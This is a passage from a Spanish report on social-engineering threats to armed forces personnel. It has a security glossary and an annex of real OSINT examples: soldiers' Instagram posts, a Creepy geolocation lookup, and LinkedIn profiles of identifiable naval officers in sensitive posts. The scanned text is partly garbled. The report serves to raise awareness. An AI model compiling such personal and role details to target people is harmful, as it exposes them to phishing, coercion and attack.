
Exploit: Programa o codigo que se aprovecha de un agujero de seguridad (vulnerabilidad)
en una aplicacion o sistema.

Factor humano: Término que hace referencia al humano como herramienta en si misma.
Fake AP: Punto de acceso Wi-Fi falso.

FAS: Fuerzas Armadas.

FCSE: Fuerzas y Cuerpos de Seguridad del Estado.

Grupo terrorista HAMAS: Grupo terrorista que lucha por la imposicién de un estado
islamico en palestina.

Hacktivista: Individuo que lleva a cabo acciones de activismo a través de la red.

Hashtag: Del inglés etiqueta. Se refiere a la palabra o la serie de palabras o caracteres
alfanumericos precedidos por el simbolo de la almohadilla.

Hispasec: Organizacién informatica dedicada a la seguridad informatica.

HUMINT (HUman INTelligence): Procedimiento de obtencién de inteligencia a través de
humanos.

IMINT (IMage INTelligence): Procedimiento de obtencion de inteligencia a través de
imagenes.

INET: Instituto Nacional de Educacion Tecnologica.

ISIS: Islamic State of Irag and Syria-Estado Islamico de Irak y Siria.

Kali Linux: Sistema operativo utilizado para realizar pruebas de seguridad, asi como
auditorias de seguridad.
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Malware: Abreviatura de “software malicioso”, se define como un software destinado a
acceder a un dispositivo de forma inadvertida.

MASINT (Measurement and Signature INTelligence): Procedimiento de obtencion de
inteligencia a traves de mediciones y firmas electronicas.

Metadatos: Conjunto de datos contenido dentro de un archivo.

Metasploit: Es un proyecto de seguridad informatica que proporciona informacion acerca
de vulnerabilidades de seguridad.

Microblogging: Servicio que permite a sus usuarios enviar y publicar mensajes breves,
generalmente solo de texto.

MITM: (Man in the Middle) ataque consistente en situarse entre usuario y sistema.

NSA (National Security Agency -Agencia de Seguridad Nacional): Es una agencia de
inteligencia del Gobierno de los Estados Unidos que se encarga de todo lo relacionado con
la seguridad de la informacion.

OSINT (Open Source Intellingence): Procedimiento de obtencion de inteligencia a través
de fuentes abiertas.

OTAN: Organizacion del Tratado del Atlantico Norte.

Payload: Parte del malware que realiza la accion maliciosa.

Powershell: Terminal de un sistema operativo.

Puerta trasera/backdoor: Malware que tiene como finalidad adquirir permisos de
usuario, pudiendo llegar a realizar cualquier tipo de modificacion sobre la plataforma
objetivo.

Punto de acceso Wi-Fi: Area fisica en la cual se puede conectar un equipo con
capacidades Wi-Fi.

Red de Defensa: Es la red utilizada por los integrantes de las FAS, asequible a través de
ordenadores corporativos que puedan acceder a dicha VPN.

Ripe.net: Pagina dedicada a dar informacion sobre IP/usuarios, asi como controladores de
redes.

Servidor DNS (Domain Name System - Sistema de nombres de dominio): es un
servidor que traduce nombres de dominio a IPs y viceversa. En las redes TCP/IP, cada PC
dispone de una direccion IP para poder comunicarse con el resto de PCs.

SIGINT (SIGnal INTelligence): Procedimiento de obtencion de inteligencia a través de
sefiales(electromagnéticas).

Sniffing: Efecto de capturar los pagquetes que viajan dentro de una red.

Software: Conjunto de programas, instrucciones y reglas informaticas para ejecutar ciertas
tareas en un ordenador.

Spam: Correo electronico no solicitado que se envia a un gran nimero de destinatarios con
fines publicitarios o comerciales.

Spear phising: Consiste en crear un correo electronico que aparenta ser de una persona o
empresa conocida, con el fin de introducir un malware en la plataforma objetivo.
Valoraciones de amenaza TESSCO: Valoraciones que hacen referencia a las posibles
amenazas surgidas del terrorismo, espionaje, subversion, sabotaje y crimen organizado.
VoIP: Voz sobre IP, es decir llamadas a través de Internet.

WikiLeaks: Es una organizacion mediatica internacional sin &nimo de lucro, que publica a
través de su sitio web informes anonimos y documentos filtrados con contenido sensible en
materia de interés publico, preservando el anonimato de sus fuentes.

102



AMENAZAS AL PERSONAL DE LAS FAS POR MEDIO DE LA INGENIERIA SOCIAL, MEDIANTE CIBERATAQUES
DIRIGIDOS, UTILIZANDO INFORMACION ADQUIRIDA DE FUENTES ABIERTAS Y REDES SOCIALES

ANEXO |l: EJEMPLOS REALES
Personal de la EZAPAC:

Se trata de personal de la EZAPAC (Escuadron de Zapadores paracaidistas), se mantienen activos
a la hora de comentar en paginas relacionadas con las Fuerzas Armadas. Se puede ver los lugares
donde han estado desplegados, e incluso elaboran etiquetas para dicho fin y muestran armas
relacionadas con unidades de operaciones especiales (Figura A2-3).

0 fuerza_militar_espanola 4 dia

1.548 Me gusta

fuerza_militar_espanola LIKE si te gusta y comparte con tus amigos!

Miembros del Escuadron de Zapadores Paracaidas (EZAPAC) en el gjercicio flintlok
en Mauritania.

Members of the Parachute Stirring Squadron (EZAPAC) in the flintlok exercise in
Mauritania.

pilar_995 No sabia q los militares en Senegal

dani.tactirexia fipilar 995hay mision en Senegall)ero creo que eso es Mauritania

sergio_opt Esto es en Mauritania, Flintlock 16

Figura A2-1 Integrantes EZAPAC.

Misién Mauritania de la EZAPAC (Figura A2-1).

sergio_opt m
Joal Fadiouth

37 Me gusta 13 sen

sergio_opt Semos especiales
#AdoptaUnZapador #Senegall6

orte_fartactirexia/aya "mision” faja

Bz S enganan
asorte_fartactirexia jajaj

Figura A2-2 Misidn en Senegal 2016.

Mision Senegal de la EZAPAC (Figura A2-2).
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danitactirexia |IEZE B

87 publicaciones 455 sequidores 997 seguidos

Figura A2-3 Fotografias personales de miembros EZAPAC.

Personal de mision:

Se trata de un soldado de la Legion que sube fotos estando de misién y también de carécter
personal, por lo que puede ser un objetivo de ataque, siendo su familia un objetivo rentable.

T ¥ 7 S, B STEN
[ . = ) n
g [ seguir

303 Me gusta

prmadasespanolas &

otivacion n #tacticalgear

prici_lobato Foton ! £ 2.2 2 & 2
__funker__ Yeahhhh

fran_villorro Dios!!! @aaron_porto ni se
la de horas que nos pegamos alli bro!! Al
final lo eche de menos algunas veces

jdhrt Saunita gratis. Rayos UVA gratis.
Alojamiento y pension completa todo
incluido. Aroma de fabrica de ladrillos y
entrada gratuita al parque tematico
yundi-aventura.

fuerzasarmadas_ Fotazatl

davidfloresrose | Afganistan ¥ camino

de 71

manuermanu Buenas, tengo un afan
enorme por el ejército, me recomienda
la legion?

fuerzas_armadas_espanolas Esta -

Figura A2-4 Miembro de la legion en Afganistan.

Afiade etiquetas no relacionadas con el propoésito de la fotografia y que puedan tener mucha mas
audiencia que una etiqueta relacionada con la misma (Figura A2-4).
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mT

223 Me gusta

aron_porto De bodorrio!k
#ota #lalegion

#torredelmar #malaga #bodorrio #boda
#spain #espana #masguapayrevienta
#guapa #diariosur #ejercitodetierra
#chapiri #andalucia #portomene

Figura A2-5 Iméagenes personales.
Ademas, aunque no identifique la cuenta con nombre y apellidos, en varias fotografias aparece con
la identificacion de pecho (Figura A2-5).
Otras fotografias de redes sociales:

Ejemplos de acciones que se deben suprimir del uso de las redes sociales (Figura A2-6).

ﬁ espanaunidad Seguir R jaimitolg

Seguir

e © Qv

espanaunidad !!!Viva esos hombres que luchan por ® fuerzasespanolas, fuerza_militar_espanola y 180
Espanal!! personas mas

jaimitolg Y para finiquitar noviembre, guardia &

Figura A2-6 Imagenes obtenidas de redes sociales.
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Ejemplo de Creepy en Escuela Naval Militar:

Durante este ejemplo se llevd a cabo el uso de la herramienta Creepy sobre Marin, se detecto el
uso de Twitter por parte de un alumno (Figura A2-7,Figura A2-8, Figura A2-9 y Figura A2-10).

| R

200 mEeey=
[ .

Nuevos retos, aprendiendo a aprender. 2% @
Ria de Pontevedra
instagram.com/p/BPSaljWB1SJk ...

N,

Figura A2-8 Mensaje obtenido a través de Creepy.

=20 peeifeyetesn o e
nstagram [o———

(O) Premimiminy s [ Feoiernee |

Figura A2-9 Imagen compartida en redes sociales.

106



AMENAZAS AL PERSONAL DE LAS FAS POR MEDIO DE LA INGENIERIA SOCIAL, MEDIANTE CIBERATAQUES
DIRIGIDOS, UTILIZANDO INFORMACION ADQUIRIDA DE FUENTES ABIERTAS Y REDES SOCIALES

© | Wtagan

@ e

Figura A2-10 Muestra de imagen compartida en redes sociales.

Como se puede ver, nada en la red queda exente de poder ser utilizado en contra de los usuarios
que lo hayan publicado, en este caso se trata de una practica normal entre los nuevos integrantes de las

FAS.
Informacién vertida por las propias FAS:

En este caso son las propias fuentes oficiales las que vierten informacion innecesaria a la red
(Figura A2-11).

Hero of the Week
=—————

Figura A2-11 Imagen compartida por Ministerio de Defensa.
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Ejemplo de perfiles en LinkedIn:

Dentro de este ejemplo se puede ver verdaderos curriculums de personal de las FAS, llama la
atencion curriculum de personal que acaba de salir de una academia militar.

F-110 Frigates Program Manager at SP MOD DGAM
GESPRO

Madrid y alrededores, Espafia | Departamento de defensa y del
espacio exterior

Actual SP MOD. DGAM. GESPROC, Spanish Navy, Defense
Department

Anterior Spanish Navy, MIDS International Program Cffice, Madrid
E ior CESEDEN

Enviar un mensaje InMail a - . '!'72
Trayectoria profesional y académica

B Experiencia

F-110 Frigates Program Manager
SP MOD. DGAM. GESPRO
octubre de 2014 — actualidad (2 afios 5 meses) | Madrid y alrededores, Espafia

- Capability definition. contract strategy and adquisition methedelegy for the new multimission F-110
Frigates (SP MOD).

- Program Manager and Technical Director for all the RND programs focused on critical technologies
supporting the F-110 program baseline

- ILS management

- EVIM management

Figura A2-12 Director del programa de fragatas F-110.

CAPITAN DE FRf\GATA JEFE DE LAS ESTACIONES RADIO DE LA ARMADA en
ARMADA ESPANOLA
Madrid, Madrid, Espafia | Departamento de defensa y del espacio exterior

Spanish Navy
ARMADA ESPANCLA
Universidad Complutense de Madrid

Enviar un mensaje InMail a - mas d‘?:‘l 50‘::

M nttps:es linkedin.convin EEG_——

Trayectoria profesional y académica
E Experiencia

CAPITAN DE FRAGATA. JEFE DE LAS ESTACIONES RADIO DE LA wa
ARMADA ESPANOLA @
Spanish Navy

agosto de 2016 — actualidad (7 meses) | Madrid y alrededores, Espafia

Jefe de las Estaciones Radio de la Armada Espafiola. Jefe de |la Estacidn de Anclaje de las
Comunicaciones Satélite de Defensa.

CAPITAN DE CORBETA. JEFE ESTACION ANCLAJE DE LAS
COMUNICACIONES SATELITE DE DEFENSA.

ARMADA ESPANOLA

agoste de 2010 - ageste de 2016 (6 afios 1 mes) | Madrid y alrededores, Esparia

Jefe de la Estacion de Anclaje de las Comunicaciones Satélite de Defensa.

ﬂv Aptitudes

Figura A2-13 Jefe de estaciones radio de la Armada.
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Harrier Pilot and Flight safety officer.
Jerez de La Frontera y alrededores, Espafia | Ejército

Armada espafiola
US NAVY
Strike Fighter Prep School. NAS Meridian, MS

Enviar un mensaje InMail a

@ ntips:ies.inkedin.comy

Trayectoria profesional y académica
E& Exiracto

After being in the naval academy in Spain for five years, | graduate July 16th 2008, | get promoted to LT-
JG and stationed to a Sp Navy frigate (F-83) as bridge officer and brigade officer with over 40 sailors and
petty officers under my command.

We participate in a various number of international exercises with great success sailing around different
countries both in the Mediterranean sea and the Atlantic ocean.

| get selected to be trained by the US Navy to become naval aviator.

After two years in the US flying an training with the best and by the best, | get over 300 hours flying the
T-34 "turbomentor” first and the T-45 "Goshawk™ later, | eamn my wings of gold the 1st of October 2010

Now | am an attack pilet flying the harrier for the Spanish Navy and stationed in rota naval base, Spain.
As a ground job | am the Harrier Sth squadron flight safety officer.

B Experiencia

Harrier Pilot and Flight Safety Officer
Armada espafiola
octubre de 2010 - actualidad (6 afios 5 meses) | nas rota, spain

Flight safety officer since April 2014.

Figura A2-14 Perfil piloto de la Armada.

Jefe de Seguridad en Base Naval de Rota
Rota Naval, Andalucia, Esparia | Ejército
Base Naval de Rota, Armada Espafiola

Ministerio de Defensa
Escuela Naval Militar

Educacion

En un mensaje InMail a | |[34[1’
Trayectoria profesional y académica

E& Extracto

Infanteria de Marina. Especialidad de Artilleria. Curse de alta gestion logistica-CESEDEN
Departamento de operaciones de mantenimiento de la paz en NY. Mision de NNUU en Centroameérica.
Destinos propios de la IM. Jefe de instruccion de la Escuela de Artilleria. Departamento de personal de
la Armada. Mantenimiente de equipc de camparia.

B Experiencia

Jefe de Seguridad
Base Naval de Rota
abril de 2014 - actualidad (2 afios 11 meses) | Rota - Espafia

Teniente Coronel
Armada Espafiola
octubre de 2011 — actualidad (5 afios 5 meses) | Base Naval de Rota

Jefe de Seguridad

Jefe del Detall Laboral Local
Armada Espafiola
octubre de 2011 — actualidad (5 afios 5 meses) | Base Naval de Rota

Figura A2-15 Jefe de seguridad en Base Naval de Rota.
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Rescue & underwater repairments Diver
F-105 "Cristdbal Colon”
noviembre de 2014 — marzo de 2016 (1 afio 5 meses)

underwater inshore repairments. Ship hulls, intakes, propellers, and so on

CIso
F-105 "Cristobal Colén”
septiembre de 2013 — marzo de 2016 (2 afios 7 meses)

IT Officer onboard Frigate F-105 "Cristébal Colén”
+ management of comercial & government satellite communications
s cioiecftheod FW octame pananamant

t INFOSEC & Infermation Management planning and control. I

T i
+ NATO, EU and national secure

MNetworks management.

+ Naval IT state-of-the-art tactical systems research

Intelligence Officer
F-105 "Cristdbal Colén"
marzo de 2014 — julio de 2014 (5 meses)

INTEL Cell Coordinator at NATO Flagship F-105 "Cristébal Colén” during NATO OCEAN SHIELD
Counterpiracy mission in the Indian Ocean, and NATO ACTIVE ENDEAVOUR Security missien in the
Mediterranean.

Experience in Counterpiracy Ops.

ntartica Navigator 2
Spanish Navy
agosto de 2011 - agosto de 2012 (1 afie 1 mes)

Experienced Antartica Navigateor
+ planning, control and execution of Antarctic cruises.

Public Affairs Officer oty
B.1.O Hespérides
septiembre de 2010 — julio de 2011 (11 meses)

PAD at Spanish Mavy Research Vessel "Hesperides” during "MALASPINA" expedition. Expierience with
media, events, and courtesy calls management

Figura A2-16 Oficial de inteligencia de la F-105.

Captain (Spanish Navy)

Malasia | Relaciones gubemamentales

Actual Embassy of Spain in Kuala Lumpur (Malaysia)

Spanish Navy Naval Education Directorate, Spanish Fleet HQ, NATO HQ Supreme Allied
Command Transformation

NATQ School Oberammergau

o
Trayectoria profesional y académ

E Experiencia

Defence Attaché
Embassy of Spain in Kuala Lumpur (Malaysia)
agosto de 2014 — actualidad (2 afios 7 meses) | Kuala Lumpur (Malaysia)

Staff Officer
Spanish Navy Naval Education Direclorate
septiembre de 2013 — julio de 2014 (11 meses) | Madrid

Commanding Officer ity
Spanish Navy Diving Center and Diving School
julio de 2010 — julio de 2013 (3 afies 1 mes) | Cartagena

Commanding Officer of the Spanish Navy Diving Center (CBA Centro de Buceo de la Armada) and
Principal of the Spanish Navy Diving School (EBA Escuela de Buceo de la Armada)

Chief of Operations
Spanish Fleet HQ
septiembre de 2009 — junio de 2010 (10 meses) | Rota

Chief of Operaticns Section in Spanish Fleet HQ

Commanding Officer PLAn]

Figura A2-17 Capitan en embajada de Kuala Lumpur.
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eniente -T) en Spanis| avy
San Femando, Andalucia, Espafia | Ejército

Spanish Navy
OBS Business School

un mensaje InMail -

Trayectoria profesional y acadés

B Experiencia

28

Teniente (OF-1) i
Spanish Navy
agosto de 2016 — actualidad (7 meses) | San Femnando, Cadiz

Jefe de Seccion

Alférez (OF-1) LT

Spanish Navy
septiembre de 2013 — julio de 2016 (2 afios 11 meses) | Escuela Naval Militar

Mando de pequefias unidades tipe Compariia, Seccién y Pelotén de Infanteria de Marina,

Responsable de Comunicaciones y Logistica dentro de la Compafiia de Alumnos de Infanteria de
Marina de la Escuela Naval Militar.

Practicas de mando en diversas unidades de la Fuerza de Infanteria de Marina en explosivos, técnicas
especiales, zapadores, minas, uso de vehiculos de combate ligeros y de desembarce, entre otros
Practicas de Guardiamarina (OF-1) a bordo del Bugue Escuela de la Armada Esparicla a bordo del A-71
"Juan Sebastian del Elcanc” ccupande diversos puestos durante |a navegacion en diversas tareas del
buque (derrota, meteorclogia, puente, maquinas, interior).

Practicas para la obtencién del titulo de Patron de Yate en los veleros de la Escuela Naval Militar (A-76
"Giralda", A-72 "Arosa)

Practicas de alumno a bordo del BPE L-61 "Juan Carlos I" ocupando diversas tareas durante la
navegacion

» 2 organizaciones

Figura A2-18 Teniente moderno de Infanteria de Marina.

o eyger

» 2 organizaciones

b 4 cursos
Cadet iy
Spanish Nawy
agosto de 2011 — agosto de 2013 (2 afios 1 mes) | Pontevedra, Galicia, Spain

Aspirante a Oficial del Cuerpo de Infanteria de Marina de la Armada Espaficla

@ Certificaciones

Socorrista Acuatico %
Junta de Castilla y Ledn HE Junta de

N _ Castilla y Leon
Comienza en abril de 2014

Monitor de Natacion
AguaMNorte Formacién
Comienza en diciembre de 2015

Patrén de Yate s
Direccion General de la Marina Mercante s

Comienza en septiembre de 2016

9, -
‘l: Educacion

OBS Business School

Master Universitario en Innovacion y Emprendimiento,
Emprendimiento/Estudios sobre emprendimiento
2016 — 2018

Estudiar Master

Universidad Politécnica de Madrid

Master Universitario en Desarrollo de Aplicaciones Android e i0S, B
Programacion informatica, aplicaciones especificas POUTECNICA
2016 — 2018

Figura A2-19 Teniente moderno de Infanteria de Marina (estudios).
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Como se puede ver, son numerosos los perfiles (Figura A2-12,Figura A2-13,Figura A2-14,Figura

A2-15,Figura A2-16,Figura A2-17,Figura A2-18 Yy Figura A2-19) a los que se puede acceder a través
de la red, informacion que en la mayoria de los casos la red no es su ubicacion mas idénea.

Ejemplo de obtencion de informacion de fuentes abiertas sobre Donald Trump:

Richard DeAgazio added 2 new photos — at @ Donald Trump
Palm Beach Home

This is Rick...He carries the "football" The nuclear football (also known as the
atomic football, the President's emergency satchel, the Presidential
Emergency Satchel, the button, the black box, or just the football) is a
briefcase, the contents of which are to be used by the President of the United
States to authorize a nuclear attack while away from fixed command centers,
such as the White House Situation Room. It functions as a mobile hub in the
strategic defense system of the United States. It is held by an aide-de-camp.
and Rick is the Man.

-

#53 Pablo S. Torre | w
- @PabloTorre

@anamariecox Uhhhhhhhhhh
4:17 PM - 13 Feb 2017

Figura A2-20 Oficial con maletin del Presidente Trump.

En la Figura A2-20 se puede ver como se filtra la identidad del oficial que lleva el maletin que
autoriza al presidente estadounidense a efectuar un ataque nuclear.
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